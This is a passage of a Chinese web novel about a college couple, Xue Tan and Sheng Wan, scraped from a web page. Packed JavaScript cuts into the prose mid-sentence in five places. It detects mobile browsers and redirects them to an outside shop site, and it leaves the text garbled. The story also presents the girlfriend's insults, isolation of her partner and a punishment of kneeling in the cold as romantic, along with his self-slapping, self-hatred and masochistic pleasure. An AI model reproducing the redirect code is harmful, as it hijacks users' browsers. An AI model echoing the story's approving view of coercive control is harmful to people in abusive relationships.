薛谭知道自己的想法太钻牛角尖了,但是没有办法,她就是个小心眼又处处敏感的人。其实比起成为孟文霖口中“可爱又优秀”的人,薛谭更希望孟文霖能够接受真实的自己。 为了不让妈妈失望,她会尽自己所能去努力成长,与此同时,她还是希望能够有一个人站在后方接纳从前和现在的自己,以及未来自己不那么完美的地方。 薛谭希望盛晚能够成为这个人。 就算无法做到也没关系。 薛谭伸手回抱住盛晚,她会把他关在只有她的世界里。 闪闪发光的、万众瞩目的盛晚,只能属于她一个人。 这样,无论她是什么样子,盛晚都只能接受了。 薛谭突然出声:“原来这就是爱吗?”她捧住盛晚梨花带雨的美丽脸庞,视线痴迷地扫过少男的湿漉漉的眉眼,无论从哪个角度看都毫无瑕疵的鼻子,以及艳丽的、勾人心弦的唇瓣,“我没和你亲上嘴,但是更喜欢你了。” 盛晚被薛谭直白的逻辑逗得笑出来,女孩火热的眼神落在自己脸上,他被烫的灵魂都在颤抖,几乎要放声尖叫。放在女孩腰上的双手控制不住地抖动,天知道他费了多大的力气才压制住想要将她紧紧拥在怀里的冲动——从第一次见面就情难自抑爬满全身的冲动。 薛谭对他是喜欢也好爱也罢,占有还是摧毁都无所谓了。 盛晚全都不在乎了。 被无数个日日夜夜渴望着的女孩注视着,他根本没办法考虑那么多,他只想就此沉沦在幸福到不切实际的短暂现实中,至于未来—— 无论如何,哪怕不择手段,盛晚也绝不会变成第二个孟文霖。 “谭谭。”盛晚呼吸逐渐加重,情不自禁呻//吟出来,“你可以吻我吗?” 少男面色酡红,耳朵更是红的滴血。哭过后的眼眶红艳艳的,满目春水地望着薛谭。 被少男搂在怀里的薛谭曲起双腿,膝盖顶住他热烘烘的腹部,双手按住他的肩膀下压,将勾人心魄的男妖精彻底压倒在沙发上,低头吻住。 唇瓣相贴,柔软滑嫩的触感令薛谭忍不住张开嘴咬上他的饱满的下唇,于是盛晚也被迫张开了嘴。 他简直像是小说里修炼千年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624270|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的绝世狐狸精,小嘴一张就是不知羞耻的呻//吟,薛谭堵住他的舌头,也将他滑溜溜的嘴堵得严丝合缝。 房间陷入短暂的安静,随即又是少男时而粗重时而断断续续的喘息声。 所以说,盛晚到底是怎么做到又害羞又放//荡的? 薛谭这几天只要不上课就和盛晚腻歪在一起,因为喜欢一起睡觉,甚至作息都规律了不少。连南采都说她气色好了很多。 “真的吗?”薛谭挽着南采的胳膊走在操场上,感到惊喜。 今天学校操场百团纳新,两人凑热闹一起过来看看。 “骗你干嘛。”南采目光扫过努力招新的学姐们,显然对这些社团没什么兴趣,她收回视线看到身边面露喜色的女孩,再次肯定:“真的变好了很多,终于不再像个熊猫了。” 薛谭嘿嘿一笑,解释:“因为最近休息的多了。以前总是喜欢熬夜,再加上早八比较多,所以黑眼圈比较重啦。” 南采无法理解薛谭,“既然知道有早八为什么还要熬夜?” “欸?这个......”薛谭从没思考过这个问题,她想了一下自己平时熬夜的动机,“因为要打游戏啊!我上了一天课很累的,玩会游戏放松一下嘛!” “但是这样第二天会更累的吧。”南采真诚建议:“还是要注意身体健康,长乐短乐你选哪个?” “当然想玩一辈子的游戏!”薛谭也明白南采的道理,痛苦地晃了晃女孩的手臂,无奈:“我也想好好休息,元气满满开启第二天啊,可是一回到家就忍不住嘛。”她重重叹了一口气。 南采觉得薛谭就像个小孩子一样,她拽着女孩的手又回到刚才几个社团的摊位那里,“那不如多培养点兴趣爱好吧,与其每天游戏从早打到晚,不如多做点别的喜欢的事情,分散一下紧绷的注意力,说不定会好一些。”她为薛谭想办法:“还有调一下生物钟,晚上早点睡,白天早点起来,像你之前那样把空闲时间都堆积在晚上,总是会不自觉荒废的。” “毕竟——”南采从学姐那里接过社团招新海报,“比起浪费白天的时间,浪费晚上的时间会少很多罪恶感吧。” “啊,南采!”薛谭蹭了蹭南采的肩膀,“你也太好了吧!” 南采好笑,把海报塞进女孩怀里:“赶紧看看吧。” 薛谭接过海报,反应过来,“你是不是还要去看看部门招新,我听张礼鸢说你之前加了学生会,要是再加部门的话会不会忙不过来?” 南采摇摇头:“投了报名单,初试过了还没开始面试,我也不确定能不能进去,先看看别的吧,不能一棵树上吊死。” 薛谭犹豫片刻,“那要不然你先去看那些招新的部门吧,我自己在这边看看兴趣社团就可以了。” 南采无奈,安慰女孩:“百团纳新两天时间呢,我们一起慢慢看,再说了我也想加一个兴趣社团。” 薛谭高兴:“好呀!” 不过最终南采也没有加入什么校级社团,只是拉着薛谭一起进了学院的书会的书部,简单来说就是看书混素质分的闲职。 17. 第 17 章 看完社团后,薛谭给盛晚发消息别等她了,和南采一起来到学校食堂吃饭。 “明天还来吗?”薛谭端着酸菜面坐下来,询问对面的南采,她似乎是个很没主见的人,哪怕是和自己相关的小事,都要让身边人为她拿主意。 南采搅了搅热气腾腾的面,问她:“你觉得呢?” 薛谭理所当然回答:“我都行啊。” “但是——”南采顿住,抬眼认真看向薛谭,“总不可能想来和不想来在你心里占的比例一样大吧?你自己思考一下还要不要加入别的社团。”末了,又补充:“我就是问一下。” 于是薛谭稍微放松了一点,她视线不自觉落在面条上,陷入沉思。 如果是薛韵的话,一定会希望薛谭能拥有充实而有意义的大学生活——不过哪怕她浑浑噩噩上学,整日教室与公寓两点一线的话,薛韵也不会生气的。 要是薛韵得知自己参加了什么大一点的社团,每天都有积极和同学们交往,她会不会开心一点呢?会不会欣慰一点呢?会不会稍微对她这个“要费很多心思啊”的女儿稍稍放心一点呢? “我去!”薛谭坚定地看着南采,“明天我一定要加一个校级社团!啊……不过!”她双手握紧筷子,紧张地说:“南采明天有事要做的话,我自己去就可以了!” 含笑的女声忽然传入耳畔:“去哪呀?” 张礼鸢端着餐盘坐在南采身边,她朝愣愣薛谭wink了一下,惹得薛谭有些不好意思地低下头。 和张礼鸢一起到来的卓钦自然而然坐在薛谭身边,惊讶:“这个面很辣的。” “嗯?”薛谭不确定地戳了戳,“我要的是酸菜面啊。” 张礼鸢探头看了一眼,“是12号窗口买的吗?这家的面除了西红柿鸡蛋面,其余的都很辣。哦,就连早晚小笼包都很辣。” “没关系。”薛谭笑容腼腆:“我很能吃辣的!”其实是因为薛韵很喜欢吃辣,还没进入万家前,薛谭与薛韵相依为命,每天吃女人的麻辣料理,自己耐辣程度也直线上升。 “哎?好厉害。”卓钦夸赞,“真羡慕你,我就一点辣都吃不了了。”她吃了一大口米饭,“我家里有人也很能吃辣,每次她做饭我都要灌自己好多水。” 几人笑出来。 吃完饭后,南采和张礼鸢一起回宿舍,薛谭起身也要离开。 “你要回家吗?”卓钦叫住薛谭,“正好我要出去买点东西,我们一起吧。” 薛谭微怔,现在天刚刚黑下,她建议:“现在出去会不会有点晚了?如果方便的话不如叫外卖吧?” “不行啦。”卓钦背上书包,笑容爽朗:“我家里有人之前过生日,但是我忘记啦,想给她补个生日礼物。明天上完课就要见她了,所以必须今天准备好。” 薛谭没有多问,两人一起并肩离开。 “选礼物还真是难啊。”卓钦叹了一口气无奈地看向薛谭,“因为收礼物的是大人,所以我也没办法买贵重的东西,毕竟用的还是她的钱嘛,不过如果是自己做的手工艺品……”她皱起眉:“会让她为难的吧。” 薛谭安慰:“礼轻情意重,这可是班长的心意,她一定会很感动的。” 卓钦却扑哧一声笑出来,摇摇头,没有多言,“你说的有道理。” 一路闲聊,慢悠悠走出校门,高大拱门最上方挂着的强力灯照在她们身上,两条影子嵌在地面里,交叠又分离。 “——卓钦!”薛谭出声叫住往反方向走的女孩。 开口前有一瞬间犹豫,但她还是鼓起勇气说:“你是自己一个人吗?如、如果你不介意的话……我们一起吧?” 卓钦回头看过来,不知是否因为头顶的强力灯,女孩清澈沉静的眸子好似有光芒在闪烁,她静静看着薛谭,没有说话。 被长久注视着的薛谭脸逐渐变红,她手忙脚乱解释:“啊,我没别的意思,因为担心班长一个人不安全所以才这样说的,如果不行的话就算了,对不起是我考虑不周!” 她的脸一定很红,薛谭捂着耳朵低下头,其实她更想捂住自己的脸……她到底说了些什么啊!也太冒昧了吧! “不用道歉。”卓钦突然笑了,知道薛谭会害羞,她没有冒然靠近,只是站在远处说:“谢谢你的关心,薛谭,真的非常感谢。不过不用啦,放心吧,我可是学过跆拳道的,而且现在是法治社会,不会有什么事的。”她挥了挥手机,主动说:“等我买完礼物回宿舍后给你发消息哦,正好想让你帮我参谋参谋。” “好的!当然!”薛谭用力挥手。 等卓钦走后,她转身往公寓的方向走,不过两步,便看到了躲在阴影下的盛晚。 少男推着电动车出来。 薛谭惊喜,连忙跑过去来回看了两圈,“你买电动车啦!” “嗯。”盛晚很早回去把电动车推出来在学校旁边的树荫下等待薛谭了,看着肉眼可见变得欢快的女孩,他也情不自禁牵起嘴角,目光温柔地注视着她,“有时候早八早上时间比较紧张,谭谭到时候骑电动车去上课就好了。” “太好了!”薛谭拽住盛晚的衣领拉着少男向下,吧唧一口亲在他白皙滑嫩的脸上,“盛晚,你真是太懂我了!” 她高兴地骑上车,动了动身子让少男坐在后边,“我前几天还想着要不要买个电动车,有时候困得要死还要赶路真的好累啊。” 盛晚眉眼含笑,“你喜欢就好。”他跨坐在车后座上,伸出手犹豫要不要搂住薛谭的腰,与此同时薛谭回头笑他:“你搂着我啊,怎么还那么害羞啊!” 他愣了一下,嘴角笑意更深,幸福的甜蜜气泡包裹他全身,让他浑身轻飘飘的。他略微用力搂住女孩的腰,脸轻轻贴在她背上,笑容怎么也止不住。 不只是害羞,谭谭。盛晚感受着爱人温暖的体温,默默在心中解释:因为这样幸福的时光太过珍贵,像阳光下的泡沫一样,美得像梦境一样。所以他会害怕,总是小心翼翼又惶恐不安地享受。 如果可以,盛晚宁愿什么都不要,不要薛谭记起来青春回忆中不值一提的他,也不要薛谭多么爱他,他只想和他最爱的谭谭一起,骑着属于他们的电动车,吹着微凉惬意的晚风,一直走下去——下一秒—— “啊!” 电动车大幅度左右晃动两下,薛谭和盛晚将要摔倒。情急之下,盛晚伸手努力抱紧薛谭,同时上半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644082|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身往左侧去,将女孩全部包裹在怀里。 薛谭摔倒在盛晚怀里,呆愣地望着天空,似乎还没从刚才的意外中反应过来。 “谭谭!”盛晚率先反应过来,慌忙低头查看怀里的薛谭,“谭谭?有没有哪里受伤?” 他左腿被车身重重压在下面,胳膊也似乎也划破了,只好费力地撑起身子扶着薛谭:“谭谭,车子压倒你没有?快起来让我看看没有没事。”说罢,他有不断道歉:“对不起对不起,都是我的错,是我太重了。” 薛谭脚腕被电动车把手压着,因为中间还有空隙没有碰到所以并不疼,身下也有盛晚给自己当肉垫就是了……但还是很不爽啊! 都怪盛晚太重了她才会摔倒! 她挣开盛晚环住自己的双手,“滚开啊死肥猪!” 薛谭愤愤踢开电动车艰难地从少男身上站起身,车头发出砰的一声转了半圈又转回去撞到正在起来的盛晚腿上,他吃痛地皱起眉头,顾不得揉一揉自己的腿就赶忙握住薛谭的肩膀查看女孩有没有受伤。 然而他一闪而过的表情还是被薛谭捕捉到了,她挥开盛晚的手,恼羞成怒:“你还敢笑话我!” 真是的!她也没想到自己车技下降了那么多啊,那么久没有骑电动车了生疏一点不是很正常嘛?盛晚这个只知道坐在后面享福的人竟然还敢生气! 盛晚立即反应过来是自己刚刚的表情让女孩误会了,他慌忙想要解释,然而抬眼看见女孩羞恼的脸,忽然意识到她是在为骑车摔倒了而感到不好意思和不自在。 心口像是被猛戳了一下,随即泛上酸酸闷闷的潮水,让他下意识软下嗓音,首先保证:“没有,我绝对没有生谭谭的气。” 而后细细解释:“刚才皱眉头是因为胳膊划破了很疼,和谭谭没有关系……好吧,好像是因为摔倒了所以才受伤——” “啊啊啊你还敢说!”薛谭要面子,见盛晚又提起这件事,气得往少男肩膀上锤去。 她力气大的惊人,尽管盛晚挥舞着双臂想要努力保持平衡,但还是被大力冲击得仰倒在地上。 “谭谭……”盛晚双手撑在地上,委屈地抬头望着薛谭,“我屁股好疼。” 少男眉心蹙起,眼波流转,扭头仰视薛谭的同时,腰窝塌陷,屁股高高翘起。 简直…… 简直叫人火气憋在胸口,忍下不甘心,又无从发火! “死肥猪!”薛谭踢了一脚他的屁股,生气:“屁股疼还来勾引人!骚不骚!” 盛晚被薛谭一句死肥猪弄得挂不住脸,他连忙拍了拍身上的灰站起来讨好地靠近薛谭,全然不见往日清贵高雅的模样,“因为喜欢谭谭,所以和谭谭一起经历的所有事情对我来说都是弥足珍贵的,哪怕是骑车摔倒在地上,一想到或许谭谭只会我和经历这种事情,我就觉得好幸福。” 他捧起薛谭的手握住,“对不起谭谭,我应该等谭谭先适应一会再坐车的。害谭谭摔倒在地上是我的错,谭谭想怎么惩罚我都没关系。但是谭谭——”他认真看着女孩,“我不是死肥猪,我身材很好的。” “哈?”薛谭没想到盛晚竟然在介意这个,她嫌弃地抽回手,“你好骚啊。” 18. 第 18 章 最后盛晚是自己走回去的,反正这条短路也走了很多遍。 薛谭还有点气信心满满骑车带人结果摔倒了这件事,毫不留情拒绝了盛晚想要留下来一起睡觉的请求。 随着两个人谈恋爱的时间越来越长,他们之间的相处模式也悄无声息发生了巨大变化。至少让今天晚上的薛谭来说的话,那就是双方都变得越来越开朗了。 虽说与盛晚第一次见面时就是被少男身上的明媚与从容吸引,但是那个时候的盛晚更像是不染尘俗的天使,因为太过于完美——无论是外貌、自然表现出来的内在,还是和薛谭相处时拿捏的恰到好处的距离感,都让人下意识觉得“一定是被很多人喜爱着的人吧”。 并且薛谭本身也在“很多人”当中。 不过现在的盛晚嘛,薛谭躺在床上,出神地盯着被昏黄灯光柔和了色彩的天花板。 意外地变成一个很坦率的男朋友,甚至有时候坦率得有些接地气了。 不过薛谭并不讨厌就是了,她喜欢和坦率的人相处,薛韵、万晨露,还有南采,都是很坦率让人觉得超级安心的人。 随心所欲想了一会,她拿起床头的平板想要看小说,刚刚点开阅读软件耳边忽然划过了下午在操场上时,南采语重心长对自己说的那番话。 她无奈翻了两下找回自己上次阅读的位置,想了想还是明天和南采一起看社团更加重要,于是放弃了看小说。她可要精神满满地出现在南采面前啊! 不知道是不是因为睡觉前催眠自己一定要好好休息,第二天早上薛谭罕见地错过了闹钟,要知道她从前可是闹钟一响就立马起床洗漱完全没有起床气的超人啊! 她看了眼时间,有点晚,但还不到早八迟到的地步。连忙穿好衣服走出去,一打开房门便见到举手要敲门的盛晚。 少男每一根头发丝都精致非常,眉头微微蹙起,担忧:“今天怎么起来晚了?是哪里不舒服吗?” “啊......”薛谭懊恼地抓了抓头发,推开盛晚,“我也不知道,赶紧把饭摆好,我一会得赶紧吃呢。” “好好。”盛晚连忙应下,朝走去洗手间的女孩喊:“不用急,咱们有电动车,路上两分钟就赶到了。” 薛谭快速洗漱完毕又快速吃完饭,拿起包正要出门时回头忽然看见正在收拾餐具的盛晚,鬼使神差地,她说:“我们一起吧,我骑电动车带着你。” 盛晚摞餐盘的动作一顿,错愕地看向薛谭,有些受宠若惊,“可以吗?”他又问:“会被人看见的吧。” 薛谭心里一堵,恼怒:“怎么?和我谈恋爱很丢脸吗?” “怎么会!”盛晚几步绕过桌子走过来,搂住薛谭亲了一下她的额头,解释:“我以为谭谭不希望公开我们的关系。”他声音不自觉带上惊喜地颤抖。 薛谭目光沉沉盯着盛晚,警告:“你是我男朋友,后悔也完了,这辈子只能做我的男人。” 这辈子只能做谭谭的男人。 一句话听得盛晚浑身颤栗,头皮发麻,他忍不住又亲了亲女孩的脸颊,两人温热的气息交缠,唇瓣相贴,下一秒—— 薛谭推开盛晚,不自在地擦了擦嘴唇,“回来再收拾,赶紧去上课了。” 盛晚高兴地眉飞色舞,“好。” 起步摇摇晃晃,薛谭努力稳住车身,然后慢慢提速,这一回安稳带着盛晚其上了车。 盛晚幸福地环住薛谭的腰,清晨轻薄的阳光洒在女孩沉静的侧脸上,微风拂过她鬓边长发,熟悉的洗发水味道让他多了一丝微不可察的安心。他痴痴地望着心爱的女孩,觉得自己简直是世界上最幸福的男人。 骑着电动车来到校园后,盛晚出色的外貌吸引不少人的瞩目,他骄傲地将脸贴在薛谭背后,各种幼稚的感情占据他全部心神,有得意,也有炫耀。他想不到自己也能有如此骄傲展现在众人面前的一天,更想不到他和谭谭的亲密关系能够让所有人都知道。 毕竟那么多年来,他以为这是只有孟文霖才会拥有的待遇。 薛谭把车停在教学楼下,有不少看盛晚的人目光掠过她,让她觉得有些......难堪。和盛晚走在一起,她能清楚感受到身边少男是多么受欢迎,她以为盛晚只是因为长得好看所以才吸引目光,直到从教学楼下进入教室短短一段路有两三个男生给他打招呼,她才意识到或许他们喜欢的真的是盛晚这个人。 如果她也能像盛晚一样受欢迎就好了。 捕捉到张礼鸢含笑投过来的目光,薛谭实在没办法继续忍受自己这么高调,尽管一开始是她出于宣示主权的心理想要走在一起,然而真的这样做了反而是她先承受不住。 其实大家也都是远远的看一眼,只要不去特别注意对于普通人来说是可以完全忽视的,不过薛谭根本忽视不了啊!她松开盛晚的手,捂脸无奈:“好吧,我做不到。” 盛晚目光柔和地看着薛谭,他知道谭谭做到这个地步已经花费了极大的勇气。站在教室外面,他和女孩保持了一定的距离以防惊扰到她,“那就不做好啦。”他说:“让别人清楚我属于谭谭这种事情,无论怎么说都应该由我来做吧,谭谭愿意和我一起来学校,我真的非常非常开心。” 薛谭抬眼看盛晚,走廊里来来往往的人群因为盛晚的脸好似被虚化了一样,好像不论在怎样的环境中,只要有盛晚在,她的视线就只能聚焦在他的脸上。 大概对于许多人来说都是这样的。 有时候看着这么一个完美无缺的人,薛谭都会控制不住想盛晚会不会是她的臆想——或者一场不切实际的梦?或许是一无所有又一事无成的她太想拥有什么来证明自己了,于是幻想出来一个盛晚,然后想方设法得到他。 “你一定只会喜欢我的,对吧。”薛谭忍不住确认。 盛晚深深注视着薛谭,黑眼眸犹如漩涡一般引人沉沦,“我永远永远只爱谭谭。”他像是在承诺,又或者在发誓:“如果有一天我做不到,我就去死。” 薛谭没有再说什么,只是点点头:“我记住了。” 回到教室坐在南采身边,南采指了指手机,示意她看消息。薛谭疑惑地打开手机,便见到宿舍群聊右下角鲜红的“有人@你”,她以为有什么事,立即点击去查看,便见到张礼鸢和另外一个叫做程竟的舍友发了很多消息询问薛谭盛晚的事情。 原来是因为盛晚。 薛谭不禁有些失落,但还是打起精神简单讲了一下和盛晚之间的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656210|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张礼鸢一会为薛谭拿下盛晚高兴,一会又为薛谭失去一个极品前男友可惜,她之前看到过孟文霖的照片,对他很满意。 【真是看不出来啊!薛谭竟然是我们四个中情感经历最丰富的人!】 可惜爱情只是所有情感中微不足道的一部分,薛谭无奈:【没有啦,只有两任男朋友而已。】 上课铃声响起,高数是薛谭的弱项,她没再看手机,认真听课。 上午两节课,下午没有课,所以薛谭和南采再次来到了操场参观积极招新的社团。 “你有没有什么感兴趣的爱好?”南采问薛谭。 “欸?我吗?”薛谭想了一会,“打游戏算不算?” 南采撇了她一眼,“先不说有没有可以打游戏的社团,你昨天不是还说要为了充实现实生活好好选社团吗,怎么今天又一股脑扎进游戏里去了。” “是哦。”薛谭不好意思笑了笑。 为了履行昨天的壮志豪言,她开始认真观察挂着横幅的帐篷们。 棋艺社、青之舟、红楼小会......视线一一掠过各具特色的社团,忽而对上一双亮的出奇的眼睛。 薛谭脚步一顿,眼睛的主人见到薛谭停下来,当即冲刺到她面前,弯腰把海报递出去,同时大喊:“学妹!请加入我们今天话剧社吧!” 她和南采齐齐一愣,旋即见到挂着“今天话剧社”的帐篷下面几位学姐如狼见到骨头一般看着她们,她连忙扯扯南采:“我们快先走吧......” 不等两人有所反应,那个递海报的学姐就直起来要挡在她们面前,语速很快地说:“学妹你怎么不接我给你的海报,就算不喜欢好得也拒绝一下吧,让我鞠躬那么久是不是有些过分了。” “抱歉——” “学妹!”少女将怀里的海报扔给身后的人,上前握住薛谭的手,双目灼灼看着她,认真说:“既然做错了就需要道歉啊!什么?你问我什么是道歉?我该怎么给你解释呢,所谓道歉,就是——!”她大手一挥指向身后的帐篷,“加入今天话剧社啊!” 欸欸欸? 她二话不说拿出报名单和笔塞给薛谭,“好了!开始你的道歉吧!” “不是——” “我知道了,学妹。”少女再次打断薛谭讲话,一改刚才激动的模样,深情款款地注视着薛谭,但同时语速飞快:“我们今天话剧社不仅是z大经费最高最受重视的社团,而且多次代表学校参加市里和全国的比赛取得优异的成绩;我们今天话剧社不仅有演员部相声部导演部道具部编剧部,还有帅哥帅哥和超级大帅哥!” “不仅如此!”她继续说:“我们今天话剧社一个学期就能赚到五十个志愿时长,而且!还不用开会!”她拉着薛谭走到帐篷下的桌子,将薛谭的报名单抻开平铺在桌子上,“所以说学妹你到底还在犹豫什么啊,机会难得,我们今天话剧社超火的好吧,我可是看你天资非凡所以单独给你开后门让你进的,快点报名啊!说!你想加入哪个部门,一定是演员部对吧!” “啊不不不!”薛谭连忙摇头挥手,在少女直白火热目光的注视下,她眼睛都变成的蚊香圈,脱口而出:“既然非要选择的话,那那那一定是做编剧才对吧!” 19. 第 19 章 一直到晚饭时间,薛谭依旧沉浸在自己加入了编剧部这件事里面,连盛晚做的红烧茄子都对她没吸引力了。 “谭谭当时是为什么说出要加入编剧部的呢?”盛晚坐在女孩身边,细心为她揉捏走了许久的腿,安慰:“反正只是提交了报名单,应该还不算正式加入话剧社吧?” 薛谭叹了一口气:“学姐说加入编剧部的人很少,虽然过几天还会走流程面试,但基本只要来就会通过。”她拍了拍脸让自己清醒一些:“至于为什么说要加入编剧社......大概是因为学姐一直在旁边催促,情急之下就选了这个。” 她仰倒在沙发上,一副生无可恋的样子,“因为你看啊,演话剧这种事情我根本做不到啦,哦,还有导演和相声,至于道具组也感觉很麻烦欸,所以对比之下还是编剧比较适合我。” 盛晚很高兴:“正好谭谭不是经常做一些天马行空的梦吗?到时候可以通过写剧本把自己的梦境表现出来啊。啊,还有保护动物保护环境这些,不都是谭谭一直想做的吗?通过剧本传播这样的理念也很不错呢不是吗?” “是啊!”萎靡不振的女孩终于由阴转晴,她起身亲了盛晚一口,对自己这个男朋友越来越满意,“我可太喜欢你了!” “哈哈哈。”盛晚笑弯了眼,他有些滑稽地靠在薛谭身上,甜腻腻问:“那我和谭谭一起加入书社和话剧社好不好呀?”他抬眸对上女孩没什么情绪的目光,眨了眨眼睛,又说:“或者我加入别的社团也行......” 薛谭是很没主见的人,盛晚却好似比她还要没主见,什么事情都需要薛谭为他做决定。 “为什么非要加入社团啊?”疑惑不解的薛谭推开盛晚,她审视地盯着逐渐变得慌乱的少男,“你就那么想出去抛头露面吗?” 盛晚一愣,慌忙解释:“不是的谭谭......我没有这么想过,我可以加入像编剧部这种做幕后工作的,或者是只需要看看书的书社——” 薛谭不耐烦,“可这样你不还是要和别人接触往来?你就不能好好在家做饭,该上课上课吗?整天想着弄这些乱七八糟的干什么?” 盛晚张了张嘴似乎想要说些什么,然而女孩明显厌烦的表情如一把冰冷的利剑刺入心口,疼痛一下子涌遍四肢百骸,最终他只是解释:“不是这样的谭谭,想要加入社团是因为担心素质分不够,我从来没有想过和谭谭以外的任何人建立任何关系。” “是吗。”薛谭看上去很不开心,“我不想看见你,你出去吧。” “对不起谭谭。”盛晚立马道歉,他太害怕了,下意识跪在地上恳求:“都是我的错,是我没有考虑好加入社团的后果,我不加入社团了,以后做事情也会提前考虑好的,你不要扔掉我好不好?” 惶恐在薛谭让他出去的一刹那占据盛晚的全部身心,他太怕这件事会让两个人之间产生隔阂,犹豫不安良久,小心翼翼攥住女孩裤腿一角:“我真的知道错了,谭谭。”他仰头望着女孩,泪水不受控制地争先涌出,内心无比渴盼女孩能够看自己一眼。 薛谭猛地放下筷子,发出“啪——”的一声,她踢开盛晚粘在自己腿上的手,无法理解地看着跪在地上哭个不停的少男,“你这个不要脸的贱人看不见我在吃饭是吗?”她使劲推了一下盛晚的头,跪立的少男有一瞬的不稳,很快再次直起身子跪好。 “自己犯了错就出去跪啊!跟我在这吵什么吵啊?”她愤怒地指向门外:“出去跪!” 盛晚不敢再说什么,连忙起身想要离开,耳边再次传来薛谭冷冷的声音:“让你起来了吗?” 于是他只好再次跪下,一路膝行来到门外。走廊的大理石地板冰凉坚硬,盛晚不过跪了一会便感到好像有密密麻麻的针刺入膝盖,疼痛万分。他不禁为自己的没用赧然,只是跪了这么一会就疼了,就他这样的人竟然还妄想守护谭谭,谭谭说得对,他真是太不要脸了。 深秋的夜晚凉意渐起,走廊尽头的窗户不知为何竟然大开,呼啸而来的冷风一团团砸在他身上,单薄的睡衣在它们面前是如此不堪一击,冷意裹挟全身,令他忍不住牙齿打颤。 他搓了搓胳膊试图让自己感到温暖一些——确实温暖了一些,但这样的温暖太过微弱,不过两秒钟冷意再次贴近皮肤。 盛晚不知道自己究竟跪了多久,膝盖由最初的疼入骨髓,到现在的麻木。他的双腿已经没有知觉,渐渐地,躯体好似被冻得也没有知觉了,他强撑着似有千钧重的睡意,抬手扇了自己一巴掌努力保持清醒。 都是他的错,他真是罪该万死! 谭谭和自己谈恋爱肯定承受了莫大的压力,他分明知道谭谭是个很没有安全感的女孩,本就应该万分小心地呵护她,可是他做了什么?他真是该死,他竟然想要加入社团和那么多人接触,他又不是不知道自己长得好看,难道不知道自己顶着这么一张帅脸加入社团会引起大家注意吗? 他应该知道的,但他没有刻意去在意,还是谭谭心细考虑到了这些。而他刚才竟然还厚颜无耻地请求谭谭的原谅,谭谭累了一天好不容易回到家能吃顿饭了,他却在一旁聒噪地打扰女孩吃饭。 原来自己是那么自私自利又卑劣不堪的小人啊,而薛谭没有骂他也没有打他,只是如此包容地让他跪在了这里慢慢想清楚。 意识到这一点后,盛晚顿时不冷了,他放松一直蜷缩起来想要获取一点温暖的身体,乖顺接受谭谭给予自己的惩罚。与此同时,眼泪再一次不争气地淌下来,他羞愧万分,又扇了自己一巴掌,哭得难以自抑。 谭谭真是太心软太好了,一想到罪大恶极的自己仅仅是被谭谭那么温柔的惩罚,盛晚觉得自己身上所有疼痛与寒冷都消失了,取而代之涌上心头、涌遍全身上下的是卑劣的窃喜。 谭谭,他的谭谭,怎么能那么温柔那么善良。膝盖好像被无数条细密的丝线穿过,穿过皮肉与骨头,向上在腹部盘旋回绕,又一缕一缕攀附着骨头往上爬,最终全部停留在心间。 “谭谭......”盛晚忽然将大拇指伸入口中死死咬住,由膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665963|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖处纠缠过来的疼痛犹如丝丝缕缕难以言喻的丝线瞬间裹紧心脏,他浑身剧烈颤抖了好几下,巨大的舒爽铺天盖地裹袭全身,快感如开闸泄洪一般冲击着自己。 黑夜吞噬所有月光,原本静谧的走廊里传出断断续续的喘息声。潮湿的、模糊不清的字句被掰碎混入盛晚肮脏的呻吟里。他头埋得很低,似乎这样就能很好掩盖自己的垃圾本性,然而往下看去,被眼泪与口水一起打湿的衣领还是暴露了主人此时此刻不可见人的欲望。 明天周六不用上课,这天晚上薛谭把自己全部负面情绪都发泄在了游戏大boss身上——就是之前被薛谭砍掉头的反派。 非常恶心的游戏机制,反派不仅是反派,还是世界大boss。薛谭以为砍掉头后就能消灭这个破坏村子的反派,结果没想到砍掉头后怪物只是一时的死亡,等到了下一关还会进化成更加厉害的怪物,一直持续到最终关卡,怪物血量和攻击力将会达到最高值。 啊啊好气啊!薛谭为了发泄在盛晚那里的怒火所以来打怪物,结果这个神经病怪物也来跟她对着干! 看她大杀四方! 